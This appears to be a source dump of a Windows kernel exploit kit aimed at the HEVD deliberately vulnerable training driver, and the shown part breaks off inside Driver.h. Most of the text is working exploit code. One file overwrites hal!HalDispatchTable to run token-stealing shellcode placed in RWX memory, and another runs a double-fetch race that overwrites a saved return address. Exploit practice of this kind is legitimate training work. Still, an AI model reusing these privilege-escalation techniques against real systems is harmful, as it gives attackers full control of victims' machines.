├── ArbitraryOverwrite.cpp
├── ArbitraryOverwrite.h
├── DoubleFetch.cpp
├── DoubleFetch.h
├── Driver.cpp
├── Driver.h
├── HevdConstants.h
├── IExploit.h
├── IntegerOverflow.cpp
├── IntegerOverflow.h
├── LICENSE
├── NullPointerDereference.cpp
├── NullPointerDereference.h
├── PoolCorruption.cpp
├── PoolCorruption.h
├── README.md
├── StackOverflow.cpp
├── StackOverflow.h
├── StackOverflowGS.cpp
├── StackOverflowGS.h
├── TypeConfusion.cpp
├── TypeConfusion.h
├── UninitializedHeapVariable.cpp
├── UninitializedHeapVariable.h
├── UninitializedStackVariable.cpp
├── UninitializedStackVariable.h
├── UseAfterFree.cpp
├── UseAfterFree.h
├── common.cpp
├── common.h
├── exploit.cpp
├── payloads.cpp
├── payloads.h
└── x64
    ├── ArbitraryOverwriteGDI.py
    └── StackOverflow.py


/ArbitraryOverwrite.cpp:
--------------------------------------------------------------------------------
  1 | #include "ArbitraryOverwrite.h"
  2 | 
  3 | bool 
  4 | ExploitArbitraryOverwrite::exploit() {
  5 | 
  6 | 	/**
  7 | 	 * The purpose of this exploit is to leverage the following code during processing
  8 | 	 * of user-controlled input data in the driver:
  9 | 	 * 		PAGE:00014B2A                 mov     edi, [esi+WriteWhatWhere.what]
 10 | 	 * 		PAGE:00014B2C                 mov     ebx, [esi+WriteWhatWhere.where]
 11 | 	 * 		[...]
 12 | 	 * 		PAGE:00014B69                 mov     eax, [edi]
 13 | 	 * 		PAGE:00014B6B                 mov     [ebx], eax
 14 | 	 *
 15 | 	 * The result of this code can be a Write-What-Where condition, leading to a 
 16 | 	 * remote code execution. In order to put the Operating System in such state, we can
 17 | 	 * use for the `Where` part the address of hal!HalDispatchTable+4 as it's the address
 18 | 	 * of function callback named HaliQuerySystemInformation, that becomes invoked upon execution
 19 | 	 * of NtQueryIntervalProfile. There we can supply a pointer to the kernel shellcode located in
 20 | 	 * user-mode memory pages:
 21 | 	 *
 22 | 	 *		*(hal!HalDispatchTable+4) = &KernelShellcode;	
 23 | 	**/
 24 | 	
 25 | 	struct arbitrary_overwrite_structure {
 26 | 		LPVOID* what;
 27 | 		LPVOID where;
 28 | 	};
 29 | 	
 30 | 	const DWORD halDispatchTable = getHalDispatchTable();
 31 | 	if (!halDispatchTable) {
 32 | 		wcerr << L"[!] Could not locate the `hal!HalDispatchTable` symbol!" << endl;
 33 | 		return false;
 34 | 	}
 35 | 	
 36 | 	// Now we are attempting to prepare a custom payload out of the default one named
 37 | 	// token_stealing_win7. The adjusted payload will be able to restore that overwritten pointer
 38 | 	// in order to preserve operating system's stability in a long run.
 39 | 	const void* shellcodePtr = reinterpret_cast<void*>(prepareCustomPayload(
 40 | 		halDispatchTable
 41 | 	));
 42 | 	
 43 | 	if(!shellcodePtr) {
 44 | 		return false;
 45 | 	}
 46 | 	
 47 | 	cout << "[+] `hal!HalDispatchTable+4` is located at: 0x" << hex << setw(8) << setfill('0')
 48 | 		<< halDispatchTable + 4 << endl;
 49 | 		
 50 | 	/**
 51 | 	 * we will be overwriting (hal!HalDispatchTable+4) that conta'ins function pointer to the
 52 | 	 *	hal!HaliQuerySystemInformation. That function can be reached by the following chain:
 53 | 	 *		
 54 | 	 *		NtQueryIntervalProfile() -> KeQueryIntervalProfile() -> HaliQuerySystemInformation()
 55 | 	 *
 56 | 	 * So calling `NtQueryIntervalProfile()` will be sufficient to trigger our overwritten pointer.
 57 | 	**/
 58 | 	
 59 | 	arbitrary_overwrite_structure structure = {
 60 | 		/* what  */ const_cast<LPVOID*>(&shellcodePtr),
 61 | 		/* where */ reinterpret_cast<LPVOID>(halDispatchTable + 4)
 62 | 	};
 63 | 	
 64 | 	wcout << L"[+] Arbitrary Overwrite:\n\t- Where: 0x" << hex << setw(8) << setfill(L'0')
 65 | 			<< structure.where << L" (hal!HaliQuerySystemInformation)\n\t- What: 0x" 
 66 | 			<< reinterpret_cast<DWORD>(shellcodePtr) << L" (address of shellcode in user space memory)" << endl;
 67 | 			
 68 | 	bool ret = driver.SendIOCTL (
 69 | 		ExploitArbitraryOverwrite::Ioctl_Code,
 70 | 		&structure,
 71 | 		sizeof(structure)
 72 | 	);
 73 | 	
 74 | 	invokeOverwrittenPointer();
 75 | 	
 76 | 	return ret;
 77 | }
 78 | 
 79 | 
 80 | DWORD
 81 | ExploitArbitraryOverwrite::getHalDispatchTable() {
 82 | 	
 83 | 	static const string halDispatchTable = "HalDispatchTable";
 84 | 	
 85 | 	auto kernelModule = driver.GetKernelModuleInfos();	
 86 | 	const DWORD kernelModuleImageBase = get<0>(kernelModule);
 87 | 	const wstring kernelModuleName = get<2>(kernelModule);	
 88 | 	
 89 | 	if(!kernelModuleImageBase) { 
 90 | 		wcerr << L"[!] Could not load kernel's module informations." << endl;
 91 | 		return 0;
 92 | 	}
 93 | 	
 94 | 	wcout << L"[.] Loading " << kernelModuleName << endl;
 95 | 	
 96 | 	// Loading `ntoskrnl` into process memory space.
 97 | 	HMODULE kernelBaseInUserSpace = LoadLibraryW(kernelModuleName.c_str());
 98 | 	
 99 | 	if(!kernelBaseInUserSpace) {
100 | 		DWORD err = GetLastError();
101 | 		wcerr << L"[!] Could not load kernel's module. Error: " 
102 | 				<< getErrorString(err) << L" (" << err << L")" << endl;
103 | 		return 0;
104 | 	}
105 | 	
106 | 	cout << "[.] Determining " << halDispatchTable << " symbol's offset..." << endl;
107 | 	
108 | 	// Getting an address of `HalDispatchTable` symbol.
109 | 	const auto halDispatchTableAddr = GetProcAddress(
110 | 		kernelBaseInUserSpace, 
111 | 		halDispatchTable.c_str()
112 | 	);
113 | 		
114 | 	if(!halDispatchTableAddr) {
115 | 		wcerr << L"[!] Could not determine that symbol's offset";
116 | 		return 0;
117 | 	}
118 | 	
119 | 	// Computing a real address of HalDispatchTable by the following formula:
120 | 	//		realAddress = addrOfSymbolInLoadedModule - loadedModuleBase + realKernelBase;
121 | 	const DWORD halDispatchTableRealAddr = (
122 | 		reinterpret_cast<DWORD>(halDispatchTableAddr) -
123 | 		reinterpret_cast<DWORD>(kernelBaseInUserSpace) +
124 | 		kernelModuleImageBase
125 | 	);
126 | 	
127 | 	return halDispatchTableRealAddr;
128 | }
129 | 
130 | 
131 | LPVOID 
132 | ExploitArbitraryOverwrite::prepareCustomPayload(
133 | 	DWORD halDispatchTableRealAddr
134 | ) {
135 | 	
136 | 	/**
137 | 	 * This function allocates a RWX memory buffer that will hold a dynamically
138 | 	 * adjusted kernel payload. Firstly, there will be a token_stealing_win7 payload copied
139 | 	 * up to the trailiing four NOPs marking the point where such modification could be applied.
140 | 	 * Then, after those NOPs, a function pointer restoration instructions will get copied.
141 | 	 * Those instructions will be responsible for the following operation:
142 | 	 *		HalDispatchTable[1] = HalDispatchTable[1] + Difference;
143 | 	 * Where difference is a hardcoded value being a bytes distance between two functions, namely:
144 | 	 *		HalpSetSystemInformation and HaliQuerySystemInformation.
145 | 	 * Such constructed payload will then be used during the actual exploitation process.
146 | 	**/
147 | 	
148 | 	auto shellcodePointer = adjustPayloadEpilogue(8);
149 | 	
150 | 	customPayload.reset(new PUCHAR(reinterpret_cast<PUCHAR>(
151 | 		VirtualAlloc (
152 | 			(LPVOID)0,
153 | 			Shellcode_Size,
154 | 			MEM_COMMIT | MEM_RESERVE,
155 | 			PAGE_EXECUTE_READWRITE
156 | 	))),
157 | 	[](PUCHAR *ptr) {
158 | 		if (*ptr != nullptr) {
159 | 			wcout << L"[.] Freeing memory allocated for the kernel payload." << endl;
160 | 			VirtualFree(*ptr, MEM_DECOMMIT, Shellcode_Size);
161 | 			delete ptr;
162 | 		}
163 | 	});
164 | 	
165 | 	if(!customPayload) {
166 | 		wcerr << L"[!] Could not allocate memory for the custom payload!" << endl;
167 | 		return 0;
168 | 	}
169 | 	
170 | 	PUCHAR customPayloadPtr = reinterpret_cast<PUCHAR>(*customPayload);	
171 | 	const PUCHAR tokenStealingPayloadPtr = reinterpret_cast<const PUCHAR>(*shellcodePointer);
172 | 	size_t nopsCave = 0;
173 | 	
174 | 	// Looking for trailing four consecutive nops within template payload.
175 | 	for(size_t pos = 32; pos < tokenStealingPayloadSize; pos++) {
176 | 		if (tokenStealingPayloadPtr[pos + 0] == (UCHAR)0x90 && 
177 | 			tokenStealingPayloadPtr[pos + 1] == (UCHAR)0x90 && 
178 | 			tokenStealingPayloadPtr[pos + 2] == (UCHAR)0x90 && 
179 | 			tokenStealingPayloadPtr[pos + 3] == (UCHAR)0x90
180 | 		) {
181 | 			// Found NOPs cave.
182 | 			nopsCave = pos + 4;
183 | 			break;
184 | 		}
185 | 	}
186 | 	
187 | 	if (!nopsCave) { 
188 | 		throw runtime_error("Looking for trailing four consecutive NOPs has failed.");
189 | 	}
190 | 
191 | 	// A function pointer restoration instructions to be executed at the end of the payload.
192 | 	unsigned char restorePreviousPointer[18] = {
193 | 		0xfa,							// cli
194 | 		0xb8, 0x44, 0x33, 0x22, 0x11, 	// mov eax, offset hal!HalDispatchTable+8
195 | 		0x8b, 0x18, 0x81, 				// mov ebx, [eax]
196 | 		0xeb, 0xdd, 0xcc, 0xbb, 0xaa, 	// sub ebx, diff
197 | 		0x89, 0x58, 0xfc,				// mov [eax - 4], ebx
198 | 		0xfb							// sti
199 | 	};
200 | 	
201 | 	// Adjusting the function restoration stub with dynamically computed pointer and a difference.
202 | 	*(reinterpret_cast<DWORD*>(&restorePreviousPointer[ 2])) = halDispatchTableRealAddr + 8;
203 | 	*(reinterpret_cast<DWORD*>(&restorePreviousPointer[10])) = HAL_THIRD_TO_SECOND_ENTRY_DIFFERENCE;
204 | 	
205 | 	// Step 0: Memsetting with NOPes
206 | 	memset (
207 | 		customPayloadPtr,
208 | 		0x90, 
209 | 		ExploitArbitraryOverwrite::Shellcode_Size
210 | 	);
211 | 	
212 | 	// Step 1: Copy the first part of the shellcode up until four consecutive NOPs in it.
213 | 	memcpy (
214 | 		customPayloadPtr, 
215 | 		tokenStealingPayloadPtr, 
216 | 		nopsCave
217 | 	);
218 | 	
219 | 	// Step 2: Now append function pointer restoration instructions after that NOPs
220 | 	memcpy (
221 | 		&customPayloadPtr[nopsCave],
222 | 		restorePreviousPointer, 
223 | 		sizeof(restorePreviousPointer)
224 | 	);
225 | 	
226 | 	// Step 3: Finally add the second part of the original payload.
227 | 	memcpy (
228 | 		&customPayloadPtr[nopsCave + sizeof(restorePreviousPointer)], 
229 | 		reinterpret_cast<void*>(&tokenStealingPayloadPtr[nopsCave]),
230 | 		tokenStealingPayloadSize - nopsCave
231 | 	);
232 | 
233 | 	wcout << L"[.] Constructed custom payload capable of restoring overwritten pointer." << endl;
234 | 	
235 | 	return *customPayload;
236 | }
237 | 
238 | 
239 | bool 
240 | ExploitArbitraryOverwrite::invokeOverwrittenPointer() {
241 | 	
242 | 	wcout << L"[.] Invoking overwritten pointer by calling `NtQueryIntervalProfile`" << endl;
243 | 	
244 | 	typeNtQueryIntervalProfile NtQueryIntervalProfile;
245 | 	
246 | 	// Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll
247 | 	NtQueryIntervalProfile  = reinterpret_cast<typeNtQueryIntervalProfile>(GetProcAddress(
248 | 		GetModuleHandleW(L"ntdll.dll"), 
249 | 		"NtQueryIntervalProfile"
250 | 	));
251 | 	
252 | 	// Call the function in order to launch our shellcode
253 | 	ULONG dummy = 0;
254 | 	NTSTATUS stat = NtQueryIntervalProfile(2, &dummy);
255 | 	
256 | 	if (NT_SUCCESS(stat)) {
257 | 		return true;
258 | 	} else {
259 | 		wcerr << L"[!] NtQueryIntervalProfile failed with code: 0x" 
260 | 			<< hex << setw(8) << setfill(L'0') << stat << endl;
261 | 		return false;
262 | 	}
263 | }
264 | 


--------------------------------------------------------------------------------
/ArbitraryOverwrite.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | class ExploitArbitraryOverwrite : public IExploit {
 8 | 	static constexpr wchar_t *Exploit_Name 	= L"Arbitrary Memory Overwrite / Write-What-Where";
 9 | 	static constexpr DWORD Ioctl_Code 		= HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE;
10 | 	static constexpr size_t Shellcode_Size 	= 256;
11 | 	
12 | 	shared_ptr<PUCHAR> 	customPayload;
13 | 	DWORD				customPayloadSize;
14 | 	
15 | public:
16 | 	ExploitArbitraryOverwrite(Driver& driver) : IExploit(driver), customPayload(0) {}
17 | 	virtual ~ExploitArbitraryOverwrite() {	}
18 | 	
19 | 	virtual const wchar_t* getName() const { 
20 | 		return ExploitArbitraryOverwrite::Exploit_Name;
21 | 	};
22 | 	
23 | 	virtual DWORD getIoctlCode() const {
24 | 		return ExploitArbitraryOverwrite::Ioctl_Code;
25 | 	}
26 | 	
27 | 	virtual bool exploit();
28 | 	
29 | private:
30 | 	
31 | 	DWORD 	getHalDispatchTable();
32 | 	LPVOID 	prepareCustomPayload(DWORD halDispatchTableRealAddr);
33 | 	bool 	invokeOverwrittenPointer();
34 | };
35 | 


--------------------------------------------------------------------------------
/DoubleFetch.cpp:
--------------------------------------------------------------------------------
 1 | #include <cassert>
 2 | #include "DoubleFetch.h"
 3 | 
 4 | bool 
 5 | ExploitDoubleFetch::exploit() {
 6 | 
 7 | 	static const DWORD Max_Failures = 1000;
 8 | 	static const size_t EIP_Overwrite_Offset = 2080;
 9 | 	
10 | 	assert(EIP_Overwrite_Offset < Overflowing_Buffer_Size);
11 | 	
12 | 	ioctlInputBuffer.reset(new UCHAR[Overflowing_Buffer_Size]);
13 | 	if(!ioctlInputBuffer) {
14 | 		wcerr << L"[!] Could not allocate buffer of size: 0x" 
15 | 			<< hex << setw(8) << setfill(L'0') << Overflowing_Buffer_Size << endl;
16 | 		return false;
17 | 	}
18 | 	
19 | 	memset(ioctlInputBuffer.get(), 'A', Overflowing_Buffer_Size);
20 | 
21 | 	auto shellcodePointer = adjustPayloadEpilogue(8, true);
22 | 	
23 | 	UCHAR *buffPtr = ioctlInputBuffer.get();
24 | 	*(reinterpret_cast<DWORD*>(&buffPtr[EIP_Overwrite_Offset])) = 
25 | 		reinterpret_cast<DWORD>(*shellcodePointer);
26 | 	
27 | 	stopThreads = false;
28 | 	startThreads = false;
29 | 	
30 | 	flippingObject.buffer = ioctlInputBuffer.get();
31 | 	flippingObject.size = Max_Accepted_Buffer_Size;
32 | 	
33 | 	wcout << L"[+] Step 1: Creating triggering thread (first one)." << endl;
34 | 	std::thread triggeringThread(&ExploitDoubleFetch::triggerThread, this);
35 | 	
36 | 	wcout << L"[+] Step 2: Creating flipping thread (second one)." << endl;
37 | 	std::thread flippingThread(&ExploitDoubleFetch::flipThread, this);
38 | 	
39 | 	wcout << L"[+] Step 3: Launch both threads - start fetching!" << endl;
40 | 	
41 | 	startThreads = true;
42 | 	
43 | 	DWORD counter = 0;
44 | 	while(!checkExploitSuccess(true) && counter++ < Max_Failures);
45 | 
46 | 	stopThreads = true;
47 | 	triggeringThread.join();
48 | 	flippingThread.join();
49 | 
50 | 	if (counter >= Max_Failures) {
51 | 		wcout << L"[!] Exploit failed: Couldn't elevate in " 
52 | 			<< dec << ioctlPackets 
53 | 			<< L" num of fetches." << endl << endl;
54 | 		return false;
55 | 	}
56 | 	
57 | 	wcout << L"[.] Exploit could have succeeded after " 
58 | 		<< dec << ioctlPackets << L" fetches." << endl << endl;
59 | 
60 | 	return true;
61 | }
62 | 
63 | void 
64 | ExploitDoubleFetch::triggerThread() {
65 | 	while(!startThreads) {}
66 | 	
67 | 	while(!stopThreads) {
68 | 		driver.SendIOCTLQuiet (
69 | 			ExploitDoubleFetch::Ioctl_Code,
70 | 			&flippingObject,
71 | 			sizeof(flippingObject)
72 | 		);
73 | 		
74 | 		ioctlPackets++;
75 | 	}
76 | }
77 | 
78 | void 
79 | ExploitDoubleFetch::flipThread() {
80 | 	while(!startThreads) {}
81 | 
82 | 	volatile register unsigned int flip = Flip_Difference;
83 | 	while(!stopThreads) {
84 | 		flippingObject.size ^= flip;
85 | 	}
86 | }
87 | 


--------------------------------------------------------------------------------
/DoubleFetch.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include <thread>
 4 | #include <atomic>
 5 | #include <mutex>
 6 | #include "common.h"
 7 | #include "IExploit.h"
 8 | #include "HevdConstants.h"
 9 | #include "payloads.h"
10 | 
11 | class ExploitDoubleFetch : public IExploit {
12 | 	static constexpr wchar_t *Exploit_Name 	= L"Double Fetch";
13 | 	static constexpr DWORD Ioctl_Code 		= HACKSYS_EVD_IOCTL_DOUBLE_FETCH;
14 | 	
15 | 	// This is maximum stack-based buffer size
16 | 	static constexpr unsigned int Max_Accepted_Buffer_Size = 0x800;
17 | 	
18 | 	// This value will constitute offset of 0x820 (2080) where the EIP is stored counting
19 | 	// from the beginning of overflowed buffer, and the additional 0x04 is for stating
20 | 	// that the one DWORD should be taken into account during memcpy in kernel.
21 | 	static constexpr unsigned int Flip_Difference = 0x24;
22 | 	
23 | 	static constexpr size_t Overflowing_Buffer_Size = Max_Accepted_Buffer_Size + Flip_Difference + 4;
24 | 	
25 | 	shared_ptr<UCHAR> ioctlInputBuffer;
26 | 	std::atomic_bool startThreads;
27 | 	std::atomic_bool stopThreads;
28 | 	
29 | 	struct DoubleFetch {
30 | 		UCHAR *buffer;
31 | 		DWORD size;
32 | 	};
33 | 	
34 | 	DoubleFetch flippingObject;
35 | 	DWORD ioctlPackets;
36 | 	
37 | public:
38 | 	ExploitDoubleFetch(Driver& driver) : IExploit(driver) {
39 | 		memset(&flippingObject, 0, sizeof(flippingObject));
40 | 		ioctlPackets = 0;
41 | 	}
42 | 	virtual ~ExploitDoubleFetch() {	}
43 | 	
44 | 	virtual const wchar_t* getName() const { 
45 | 		return ExploitDoubleFetch::Exploit_Name;
46 | 	};
47 | 	
48 | 	virtual DWORD getIoctlCode() const {
49 | 		return ExploitDoubleFetch::Ioctl_Code;
50 | 	}
51 | 	
52 | 	virtual bool exploit();
53 | 	
54 | 	void triggerThread();
55 | 	void flipThread();
56 | };
57 | 


--------------------------------------------------------------------------------
/Driver.cpp:
--------------------------------------------------------------------------------
  1 | 
  2 | #include "Driver.h"
  3 | 
  4 | #define SystemModuleInformation 11
  5 | 
  6 | typedef struct _RTL_PROCESS_MODULE_INFORMATION
  7 | {
  8 |     HANDLE Section;
  9 |     PVOID MappedBase;
 10 |     DWORD ImageBase;
 11 |     ULONG ImageSize;
 12 |     ULONG Flags;
 13 |     USHORT LoadOrderIndex;
 14 |     USHORT InitOrderIndex;
 15 |     USHORT LoadCount;
 16 |     USHORT OffsetToFileName;
 17 |     UCHAR FullPathName[256];
 18 | } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
 19 |  
 20 | typedef struct _RTL_PROCESS_MODULES
 21 | {
 22 |     ULONG NumberOfModules;
 23 |     RTL_PROCESS_MODULE_INFORMATION Modules[1];
 24 | } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
 25 | 
 26 | 
 27 | Driver::Driver(
 28 | 	const wstring& drvName, 
 29 | 	const wstring& alternativeDrvName,
 30 | 	const IoctlNamesMap* ioctlNames
 31 | ) 
 32 | 	: driverName(drvName), lastError(ERROR_SUCCESS), ioctlNamesMap(ioctlNames)
 33 | {
 34 | 	shared_ptr<HANDLE> drvHandle(new HANDLE(
 35 | 		CreateFileW(
 36 | 			wstring(wstring(L"\\\\.\\") + driverName).c_str(), 
 37 | 			GENERIC_READ | GENERIC_WRITE,
 38 | 			FILE_SHARE_READ | FILE_SHARE_WRITE,
 39 | 			NULL,
 40 | 			OPEN_EXISTING,
 41 | 			FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
 42 | 			NULL
 43 | 	)),
 44 | 	[](const HANDLE *ptr) {
 45 | 		if( *ptr != (HANDLE)INVALID_HANDLE_VALUE && ptr != nullptr) {
 46 | 			//wcout << L"[.] Closing driver's handle." << endl;
 47 | 			CloseHandle(*ptr);
 48 | 		}
 49 | 		delete ptr;
 50 | 	});
 51 | 	
 52 | 	if( *drvHandle == static_cast<HANDLE>(INVALID_HANDLE_VALUE)) {
 53 | 		lastError = GetLastError();
 54 | 		wcerr << L"[!] Could not open \\Device\\" << driverName << L" driver's handle. Error: 0x" 
 55 | 			<< lastError << endl;
 56 | 		return;
 57 | 	}
 58 | 	
 59 | 	driverHandle = move(drvHandle);
 60 | 	wstring moduleName = (alternativeDrvName.size() > 0)? alternativeDrvName : drvName;
 61 | 	
 62 | 	driverImageBase = Driver::GetModuleImageBase(moduleName);
 63 | 	if(!driverImageBase) {
 64 | 		lastError = GetLastError();
 65 | 	}
 66 | }
 67 | 
 68 | 
 69 | Driver::~Driver() {
 70 | 	
 71 | }
 72 | 
 73 | 
 74 | DWORD 
 75 | Driver::GetModuleImageBase(
 76 | 	const wstring &imageNameParam
 77 | ) {
 78 | 	static const wstring ending(L".sys");	
 79 | 
 80 | 	wstring imageName(imageNameParam);
 81 | 	transform(imageName.begin(), imageName.end(), imageName.begin(), ::tolower);
 82 | 	
 83 | 	if(!equal(ending.rbegin(), ending.rend(), imageName.rbegin())) {
 84 | 		imageName += ending;
 85 | 	}
 86 | 	
 87 | 	shared_ptr<RTL_PROCESS_MODULES> modulesInfo(
 88 | 		new RTL_PROCESS_MODULES[Max_Number_Of_Modules]
 89 | 	);
 90 | 	
 91 | 	if(!modulesInfo.get()) {
 92 | 		wcerr << L"[!] Could not allocate memory for modulesInfo!" << endl;
 93 | 		return 0;
 94 | 	}
 95 | 	
 96 | 	NTSTATUS status = NtQuerySystemInformation(
 97 | 		(SYSTEM_INFORMATION_CLASS)SystemModuleInformation, 
 98 | 		modulesInfo.get(), 
 99 | 		sizeof(RTL_PROCESS_MODULES) * Max_Number_Of_Modules, 
100 | 		NULL
101 | 	);
102 | 	
103 | 	if(!NT_SUCCESS(status)) {
104 | 		wcerr << L"[!] Could not obtain list of loaded driver modules! Status: 0x" 
105 | 			<< hex << setfill(L'0') << setw(8) << status << endl;
106 | 		return 0;
107 | 	}
108 | 	
109 | 	for(size_t i = 0; i < modulesInfo->NumberOfModules; i++ ) {
110 | 		
111 | 		const DWORD imageBase = modulesInfo->Modules[i].ImageBase;
112 | 		const char *moduleImageNamePointer = reinterpret_cast<const char*>(
113 | 			modulesInfo->Modules[i].FullPathName 
114 | 			+ modulesInfo->Modules[i].OffsetToFileName);
115 | 			
116 | 		const string moduleImageName(moduleImageNamePointer);
117 | 
118 | 		wstring moduleImageNameWide(moduleImageName.begin(), moduleImageName.end());
119 | 		transform(
120 | 			moduleImageNameWide.begin(), 
121 | 			moduleImageNameWide.end(), 
122 | 			moduleImageNameWide.begin(), 
123 | 			::tolower);
124 | 			
125 | 		if(imageName == moduleImageNameWide) {
126 | 			wcout << L"[+] Found " << imageName << L" driver's base: 0x" 
127 | 				<< hex << setfill(L'0') << setw(8) << imageBase << endl;
128 | 			return imageBase;
129 | 		}
130 | 	}
131 | 	
132 | 	wcerr << L"[!] Could not find the " << imageName 
133 | 		<< L" module among the loaded modules." << endl;
134 | 	
135 | 	return 0;
136 | }
137 | 
138 | 
139 | tuple<ULONG, DWORD, wstring> 
140 | Driver::GetKernelModuleInfos() {
141 | 	
142 | 	shared_ptr<RTL_PROCESS_MODULES> modulesInfo(
143 | 		new RTL_PROCESS_MODULES[Max_Number_Of_Modules]
144 | 	);
145 | 	
146 | 	if(!modulesInfo.get()) {
147 | 		wcerr << L"[!] Could not allocate memory for modulesInfo!" << endl;
148 | 		return make_tuple(0, 0, L"");
149 | 	}
150 | 	
151 | 	NTSTATUS status = NtQuerySystemInformation(
152 | 		(SYSTEM_INFORMATION_CLASS)SystemModuleInformation, 
153 | 		modulesInfo.get(), 
154 | 		sizeof(RTL_PROCESS_MODULES) * Max_Number_Of_Modules, 
155 | 		NULL
156 | 	);
157 | 	
158 | 	if(!NT_SUCCESS(status)) {
159 | 		wcerr << L"[!] Could not obtain list of loaded driver modules! Status: 0x" 
160 | 			<< hex << setfill(L'0') << setw(8) << status << endl;
161 | 		return make_tuple(0, 0, L"");
162 | 	}
163 | 	
164 | 	const char *moduleImageNamePointer = reinterpret_cast<const char*>(
165 | 		modulesInfo->Modules[0].FullPathName 
166 | 		+ modulesInfo->Modules[0].OffsetToFileName);
167 | 			
168 | 	const string moduleImageName(moduleImageNamePointer);
169 | 
170 | 	wstring moduleImageNameWide(moduleImageName.begin(), moduleImageName.end());
171 | 	transform(
172 | 		moduleImageNameWide.begin(), 
173 | 		moduleImageNameWide.end(), 
174 | 		moduleImageNameWide.begin(), 
175 | 		::tolower);
176 | 	
177 | 	return make_tuple(
178 | 		modulesInfo->Modules[0].ImageBase,
179 | 		modulesInfo->Modules[0].ImageSize,
180 | 		moduleImageNameWide
181 | 	);
182 | }
183 | 
184 | 
185 | bool 
186 | Driver::SendIOCTL(
187 | 	DWORD ioctlCode, 
188 | 	LPVOID inputBuffer, 
189 | 	DWORD inputSize, 
190 | 	LPVOID outputBuffer, 
191 | 	DWORD outSize, 
192 | 	LPDWORD writtenBytes,
193 | 	BOOL quiet
194 | ) {
195 | 	if(!quiet) {
196 | 		auto ioctlCodeString = [=]() -> const wchar_t* {
197 | 			wstringstream wss;
198 | 			wss << L"0x" << hex << setw(8) << setfill(L'0') << ioctlCode;
199 | 			return wss.str().c_str();
200 | 		};
201 | 		
202 | 		if (ioctlNamesMap) {
203 | 			auto ioctl = ioctlNamesMap->find(ioctlCode);
204 | 			if ( ioctl != ioctlNamesMap->end()) {
205 | 				wcout << endl << L"[+] Issuing IOCTL: " << ioctl->second << endl;
206 | 			} else {
207 | 				wcout << endl << L"[+] Issuing IOCTL: " << ioctlCodeString() << endl;
208 | 			}
209 | 		} else {
210 | 			wcout << endl << L"[+] Issuing IOCTL: " << ioctlCodeString() << endl;
211 | 		}	
212 | 	}
213 | 	
214 | 	DWORD written = 0;
215 | 	bool ownAllocation = false;
216 | 	LPDWORD writtenPtr = (writtenBytes != nullptr)? writtenBytes : &written;
217 | 	
218 | 	if (inputBuffer == nullptr) {
219 | 		ownAllocation = true;
220 | 		inputBuffer = VirtualAlloc ((LPVOID)0,
221 | 									inputSize,
222 | 									MEM_COMMIT | MEM_RESERVE,
223 | 									PAGE_EXECUTE_READWRITE	
224 | 		);
225 | 		
226 | 		if (inputBuffer == nullptr) {
227 | 			wcout << L"[!] Could not allocate memory for " << inputSize << L" bytes! Error: " 
228 | 					<< GetLastError() << endl;
229 | 			throw runtime_error("allocation error");
230 | 		}
231 | 	}
232 | 	
233 | 	if(!quiet) {
234 | 		wcout << hex << setw(8) << setfill(L'0')
235 | 				<< L"[.] Input buffer: 0x" << inputBuffer
236 | 				<< L", size: " << dec << inputSize << L" bytes. Output: 0x" 
237 | 				<< hex << outputBuffer << endl;
238 | 	}
239 | 			
240 | 	SetLastError(0);
241 | 	BOOL ret = DeviceIoControl(*driverHandle, 
242 | 								ioctlCode,
243 | 								inputBuffer,
244 | 								inputSize,
245 | 								outputBuffer,
246 | 								outSize,
247 | 								writtenPtr,
248 | 								NULL
249 | 	);
250 | 	
251 | 	const DWORD lastError = GetLastError();
252 | 	
253 | 	if(!quiet) {
254 | 		wcout << hex << setw(8) << setfill(L'0')
255 | 				<< L"[>] After sending IOCTL. ret: " << ((ret)? L"TRUE" : L"FALSE")
256 | 				<< L", last error: " << dec << lastError << L", written bytes: " 
257 | 				<< dec << *writtenPtr << endl;
258 | 			
259 | 		if (lastError != ERROR_SUCCESS) {
260 | 			wcout << L"\tError message: " << getErrorString(lastError) << endl;
261 | 		}
262 | 		
263 | 		wcout << endl;
264 | 	}
265 | 	
266 | 	if (ownAllocation) {
267 | 		VirtualFree(inputBuffer, inputSize, MEM_DECOMMIT);
268 | 	}
269 | 	
270 | 	return ret;
271 | }
272 | 
273 | 
274 | 


--------------------------------------------------------------------------------
/Driver.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | 
 5 | 
 6 | typedef std::map<DWORD, const wchar_t*> IoctlNamesMap;
 7 | 
 8 | 
 9 | class Driver {
10 | 	
11 | 	static constexpr size_t 		Max_Number_Of_Modules = 1000;
12 | 	
13 | 	const wstring& 					driverName;
14 | 	shared_ptr<HANDLE> 				driverHandle;
15 | 	DWORD							driverImageBase;
16 | 	DWORD							lastError;
17 | 	const IoctlNamesMap*			ioctlNamesMap;
18 | 	
19 | public:
20 | 	Driver(
21 | 		const wstring& driverName, 
22 | 		const wstring& alternativeDrvName = L"",
23 | 		const IoctlNamesMap* ioctlNames = nullptr
24 | 	);
25 | 	
26 | 	~Driver();
27 | 	
28 | 	static DWORD GetModuleImageBase( const wstring &imageNameParam);
29 | 	
30 | 	// Returns tuple of <ImageBase, ImageSize, ModuleName>
31 | 	static tuple<ULONG, DWORD, wstring> GetKernelModuleInfos();
32 | 	
33 | 	operator!() {
34 | 		return (lastError != ERROR_SUCCESS);
35 | 	}
36 | 	
37 | 	DWORD getError() { 
38 | 		return lastError;
39 | 	}	
40 | 	
41 | 	bool SendIOCTL (
42 | 		DWORD ioctlCode, 
43 | 		LPVOID inputBuffer, 
44 | 		DWORD inputSize, 
45 | 		LPVOID outputBuffer = nullptr, 
46 | 		DWORD outSize = 0, 
47 | 		LPDWORD writtenBytes = nullptr,
48 | 		BOOL quiet = false
49 | 	);
50 | 	
51 | 	bool SendIOCTLQuiet (
52 | 		DWORD ioctlCode, 
53 | 		LPVOID inputBuffer, 
54 | 		DWORD inputSize, 
55 | 		LPVOID outputBuffer = nullptr, 
56 | 		DWORD outSize = 0, 
57 | 		LPDWORD writtenBytes = nullptr
58 | 	) {
